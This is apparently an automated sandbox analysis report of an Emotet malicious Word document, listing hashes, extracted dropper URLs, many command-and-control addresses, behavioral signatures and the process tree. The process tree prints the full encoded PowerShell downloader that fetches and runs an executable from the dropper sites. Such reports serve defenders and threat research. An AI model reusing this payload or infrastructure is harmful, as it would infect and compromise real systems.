Analysis
- max time kernel
137s - max time network
153s - platform
windows10_x64 - resource
win10 - submitted
03/09/2020, 10:15
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_72341718ad95fabe618ad074ccc7d66fd6acf2aa3b8cc1ee2f6b08d431fe43cc_2020-09-03__101436._doc.doc
Resource
win7
General
- Target emotet_e2_72341718ad95fabe618ad074ccc7d66fd6acf2aa3b8cc1ee2f6b08d431fe43cc_2020-09-03__101436._doc.doc
- Size 249KB
- Sample200903-e9z9c6nd7e
- SHA256 72341718ad95fabe618ad074ccc7d66fd6acf2aa3b8cc1ee2f6b08d431fe43cc
- MD5 fb3338a25dff040314aba7b51026669e
- SHA1 46952df99b7b8f2e5dc9212c219c75373e004098
- SHA512 cb3e1b8b7913896b3b0b9f2d1523d9c0747cdebf1bd0067fdf2b4c8cb1b51e5f5a207669bbcb01810be4cf01fe0c9f56b37b134c9d875f7ade51feaf90566b53
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://www.agentstepp.com/ww12/6ZI/
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exe.dropper
http://badaia.net/baiaseu/m4G4chJ/
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exe.dropper
http://www.bambagiotti.it/shop/ymwU6/
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exe.dropper
http://bbcalegal.com/attachments/AAyd/
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exe.dropper
http://mezes.de/title_htm_files/Mb/
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exe.dropper
http://computerfastfix.co.uk/css/DXj/
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exe.dropper
http://sacentrs.lv/wp-content/uploads/2018/Cc/
Extracted
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emotet
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140.186.212.146:80
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85.214.28.226:8080
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142.44.137.67:443
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162.241.242.173:8080
-
95.213.236.64:8080
-
176.111.60.55:8080
-
85.152.162.105:80
-
67.205.85.243:8080
-
173.81.218.65:80
-
5.196.74.210:8080
-
190.160.53.126:80
-
24.43.99.75:80
-
169.239.182.217:8080
-
47.144.21.12:443
-
89.205.113.80:80
-
112.185.64.233:80
-
216.208.76.186:80
-
121.124.124.40:7080
-
37.187.72.193:8080
-
87.106.136.232:8080
-
46.105.131.79:8080
-
137.59.187.107:8080
-
37.70.8.161:80
-
120.150.60.189:80
-
79.98.24.39:8080
-
200.114.213.233:8080
-
62.30.7.67:443
-
139.162.108.71:8080
-
189.212.199.126:443
-
74.120.55.163:80
-
85.242.155.127:80
-
187.161.206.24:80
-
203.153.216.189:7080
-
61.19.246.238:443
-
185.94.252.104:443
-
97.82.79.83:80
-
104.131.11.150:443
-
139.99.158.11:443
-
74.109.108.202:80
-
219.74.18.66:443
-
209.141.54.221:8080
-
194.187.133.160:443
-
107.5.122.110:80
-
98.109.204.230:80
-
94.23.237.171:443
-
94.200.114.161:80
-
37.139.21.175:8080
-
95.179.229.244:8080
-
68.188.112.97:80
-
152.168.248.128:443
-
188.219.31.12:80
-
24.137.76.62:80
-
139.59.60.244:8080
-
93.147.212.206:80
-
70.121.172.89:80
-
62.75.141.82:80
-
137.119.36.33:80
-
200.41.121.90:80
-
174.102.48.180:443
-
74.208.45.104:8080
-
157.245.99.39:8080
-
104.131.44.150:8080
-
172.91.208.86:80
-
109.74.5.95:8080
-
103.86.49.11:8080
-
41.60.200.34:80
-
1.221.254.82:80
-
203.117.253.142:80
-
79.137.83.50:443
-
91.211.88.52:7080
-
83.169.36.251:8080
-
174.45.13.118:80
-
85.105.205.77:8080
-
68.171.118.7:80
-
168.235.67.138:7080
-
139.130.242.43:80
-
87.106.139.101:8080
-
190.55.181.54:443
-
173.62.217.22:443
-
84.39.182.7:80
-
85.66.181.138:80
-
110.145.77.103:80
-
113.160.130.116:8443
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47.146.117.214:80
-
5.39.91.110:7080
-
78.24.219.147:8080
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174.137.65.18:80
-
75.139.38.211:80
-
180.92.239.110:8080
-
24.179.13.119:80
-
201.173.217.124:443
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104.236.246.93:8080
-
153.232.188.106:80
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50.81.3.113:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1768 1952 powershell.exe 73 - Blacklisted process makes network request 2 IoCs
flow pid Process 14 1768 powershell.exe 16 1768 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3688 Lfqgw3.exe 1652 XInput9_1_0.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\isoburn\XInput9_1_0.exe Lfqgw3.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = ede84f99db81d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3024 WINWORD.EXE 3024 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1768 powershell.exe 1768 powershell.exe 1768 powershell.exe 1652 XInput9_1_0.exe 1652 XInput9_1_0.exe 1652 XInput9_1_0.exe 1652 XInput9_1_0.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 4028 svchost.exe Token: SeCreatePagefilePrivilege 4028 svchost.exe Token: SeDebugPrivilege 1768 powershell.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3024 WINWORD.EXE 3688 Lfqgw3.exe 1652 XInput9_1_0.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1768 wrote to memory of 3688 1768 powershell.exe 78 PID 1768 wrote to memory of 3688 1768 powershell.exe 78 PID 1768 wrote to memory of 3688 1768 powershell.exe 78 PID 3688 wrote to memory of 1652 3688 Lfqgw3.exe 81 PID 3688 wrote to memory of 1652 3688 Lfqgw3.exe 81 PID 3688 wrote to memory of 1652 3688 Lfqgw3.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_72341718ad95fabe618ad074ccc7d66fd6acf2aa3b8cc1ee2f6b08d431fe43cc_2020-09-03__101436._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABOAHYANABoADkAXwAyAD0AKAAoACcATgBwACcAKwAnAGYAegBtACcAKQArACcAbQBpACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBwAFIATwBmAGkAbABlAFwAbAA3ADAAZwBFADAAMgBcAEsARQByAGkAZgB4ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBpAFQAYABZAGAAUABSAE8AVABvAGMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0AGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQASwBqAGwAaQBpADAAegAgAD0AIAAoACcATABmACcAKwAoACcAcQAnACsAJwBnAHcAMwAnACkAKQA7ACQASwByAHgAOAAzAGMAaQA9ACgAJwBUACcAKwAnAHIAJwArACgAJwBkADEAJwArACcAeABmAHMAJwApACkAOwAkAEoAaABfAGwANwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBWAHgAJwArACcAdwAnACkAKwAnAEwANwAnACsAJwAwAGcAJwArACgAJwBlADAAJwArACcAMgBWAHgAJwArACcAdwBLAGUAcgBpACcAKQArACgAJwBmAHgANAAnACsAJwBWAHgAJwApACsAJwB3ACcAKQAgACAALQBjAFIAZQBQAEwAYQBjAGUAIAAgACgAJwBWAHgAJwArACcAdwAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQASwBqAGwAaQBpADAAegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwAZQAyAHgAegA0AGIAPQAoACcAQgAnACsAKAAnADgAbgAzAGEAJwArACcAZwB4ACcAKQApADsAJABVAHIAawBnAG8AOABrAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAGUAbgB0ADsAJABUAF8AZwB1ADAAeAB2AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBhACcAKQArACcAZwBlACcAKwAoACcAbgB0ACcAKwAnAHMAdABlAHAAcAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwApACsAKAAnAHcAMQAnACsAJwAyACcAKwAnAC8ANgBaAEkALwAqAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBhACcAKwAnAGQAJwArACcAYQAnACkAKwAnAGkAYQAnACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwBiACcAKQArACgAJwBhAGkAJwArACcAYQBzACcAKQArACcAZQB1ACcAKwAnAC8AbQAnACsAKAAnADQARwAnACsAJwA0ACcAKQArACgAJwBjACcAKwAnAGgASgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYgBhACcAKwAnAG0AJwApACsAJwBiAGEAJwArACgAJwBnACcAKwAnAGkAbwB0AHQAaQAuACcAKwAnAGkAdAAnACkAKwAnAC8AcwAnACsAKAAnAGgAbwBwAC8AJwArACcAeQBtACcAKwAnAHcAJwArACcAVQA2AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAYgBjAGEAJwArACcAbABlAGcAYQAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGMAJwArACgAJwBoAG0AJwArACcAZQAnACkAKwAnAG4AdAAnACsAJwBzACcAKwAnAC8AQQAnACsAJwBBAHkAJwArACgAJwBkAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBtACcAKQArACcAZQAnACsAJwB6ACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC4AZABlACcAKQArACgAJwAvAHQAJwArACcAaQAnACkAKwAoACcAdAAnACsAJwBsAGUAXwAnACkAKwAnAGgAdAAnACsAKAAnAG0AXwAnACsAJwBmAGkAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAC8ATQAnACsAJwBiAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AYwBvACcAKwAnAG0AcAB1AHQAZQAnACsAJwByACcAKQArACcAZgAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBmAGkAeAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsALwAnACsAJwBjAHMAcwAvACcAKQArACgAJwBEACcAKwAnAFgAagAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AJwArACcAcwBhACcAKwAnAGMAZQBuACcAKwAnAHQAJwArACcAcgBzACcAKQArACgAJwAuAGwAJwArACcAdgAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKQArACgAJwB1AHAAbAAnACsAJwBvACcAKQArACcAYQAnACsAJwBkAHMAJwArACgAJwAvACcAKwAnADIAMAAxADgALwBDAGMAJwArACcALwAnACkAKQAuACIAUwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGEAbwAyAGsAYwBfAD0AKAAnAEgANAAnACsAKAAnAG8AaABqACcAKwAnAHgAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAZgB3ADgAYgB1ADkAIABpAG4AIAAkAFQAXwBnAHUAMAB4AHYAKQB7AHQAcgB5AHsAJABVAHIAawBnAG8AOABrAC4AIgBkAG8AYAB3AE4AYABMAG8AYABBAEQAZgBpAGwARQAiACgAJABCAGYAdwA4AGIAdQA5ACwAIAAkAEoAaABfAGwANwB0AHIAKQA7ACQAWQB2AGEAYgA3AGUAOAA9ACgAKAAnAEsAeAA3ACcAKwAnADYAegAnACkAKwAnAHIAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASgBoAF8AbAA3AHQAcgApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADMAMQA4ADEANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABKAGgAXwBsADcAdAByACkAOwAkAE0AMAB3ADIAMwBqAG8APQAoACcAUABuACcAKwAoACcANwBwACcAKwAnADYAMgAnACkAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABLADUAcABnAHYAMgB4AD0AKAAnAFUAbQAnACsAKAAnAHkAJwArACcAaABlACcAKQArACcAcQA1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBuADMAegBfAGgAZwA9ACgAKAAnAFEAJwArACcAOQBqACcAKQArACcAMwBhACcAKwAnAGgAdgAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe"C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\SysWOW64\isoburn\XInput9_1_0.exe"C:\Windows\SysWOW64\isoburn\XInput9_1_0.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1652
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